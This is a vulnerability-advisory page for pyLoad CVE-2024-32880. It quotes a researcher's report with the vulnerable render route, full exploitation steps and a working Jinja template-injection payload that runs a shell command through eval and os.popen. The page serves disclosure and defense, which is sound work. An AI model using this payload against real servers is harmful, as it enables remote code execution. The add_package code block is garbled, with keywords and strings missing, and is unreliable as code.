PYLOAD-NG · CVE-2024-32880 · Package
NO FIX YET
pyLoad, a download manager, lets a logged-in user change the download folder to its web templates directory and upload a crafted template there. Requesting that template through the render route runs attacker-chosen Python code on the server.
first public Apr 24, 2024 · 2 sources
Check it with your coding agent
It reads this page and tells you if your code or app is affected.
Any pyLoad instance with its web interface reachable by a user who can change settings and add packages is exposed. The install path is shown on the info page, which makes the file upload easier to aim. Teams that do not run pyLoad, or that keep its web interface off untrusted networks, can skip it.
Not affected if pyload-not-installed, web-ui-not-reachable
Who cares pyload-ng, python, self-hosted
pip show pyload-ng; the affected range is <= 0.5.0.webui/app/templates directory.No fix yet, per the sources.
An authenticated user can change the download folder and upload a crafted template to the specified folder lead to remote code execution
example version: 0.5 file:src/pyload/webui/app/blueprints/app_blueprint.py
@bp.route("/render/<path:filename>", endpoint="render")
def render(filename):
mimetype = mimetypes.guess_type(filename)[0] or "text/html"
data = render_template(filename)
return flask.Response(data, mimetype=mimetype)
So, if we can control file in the path "pyload/webui/app/templates" in latest version and path in "module/web/media/js"(the difference is the older version0.4.20 only renders file with extension name ".js"), the render_template func will works like SSTI(server-side template injection) when render the evil file we control.
in /settings page and the choose option general/general, where we can change the download folder.
Also, we can find the pyLoad install folder in /info page
So, we can change the value of Download folder to the template path. Then through /json/add_package we can upload a crafted template file to RCE.
():
api = flask.current_app.config[]
package_name = flask.request.form.get(, ).strip()
queue = (flask.request.form[])
links = [l.strip() l flask.request.form[].splitlines()]
pw = flask.request.form.get(, ).strip()
:
file = flask.request.files[]
file.filename:
package_name package_name == :
package_name = file.filename
file_path = os.path.join(
api.get_config_value(, ), + file.filename
)
file.save(file_path)
links.insert(, file_path)
Exception:
urls = [url url links url.strip()]
pack = api.add_package(package_name, urls, queue)
pw:
data = {: pw}
api.set_package_data(pack, data)
jsonify()
Are you affected?
Ask from here. InfraStack checks the affected versions against your stack and answers in your inbox.
InfraStack checks the affected versions against your stack and answers in Slack, with the evidence and the fix.
InfraStack checks it against your stack and answers on your report, with the evidence and the fix.
First login into the admin page, then visit the info page to get the path of pyload installation folder. Second, change the download folder to PYLOAD_INSTALL_DIR/ webui/app/templates/ Third, upload crafted template file through /json/add_package through parameter add_file the content of crafted template file and its filename is "341.html":
{{x.__init__.__globals__['__builtins__']['eval']("__import__('os').popen('whoami').read()")}}
Last, visit http://TARGET/render/tmp_341.html to trigger the RCE
It is a RCE vulnerability and I think it affects all versions. In earlier version 0.4.20, the trigger difference is the pyload installation folder path difference and the upload file must with extension ".js" . The render js code in version 0.4.20:
@route("/media/js/<path:re:.+\.js>")
def js_dynamic(path):
response.headers['Expires'] = time.strftime("%a, %d %b %Y %H:%M:%S GMT",
time.gmtime(time.time() + 60 * 60 * 24 * 2))
response.headers['Cache-control'] = "public"
response.headers['Content-Type'] = "text/javascript; charset=UTF-8"
try:
# static files are not rendered
if "static" not in path and "mootools" not in path:
t = env.get_template("js/%s" % path)
return t.render()
else:
return static_file(path, root=join(PROJECT_DIR, "media", "js"))
except:
return HTTPError(404, "Not Found")
This page as .md · .json · CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:C/C:H/I:H/A:H
GitHub Advisory Database, CC-BY 4.0 · NVD data is provided by NIST and is public domain. Posts quoted belong to their authors.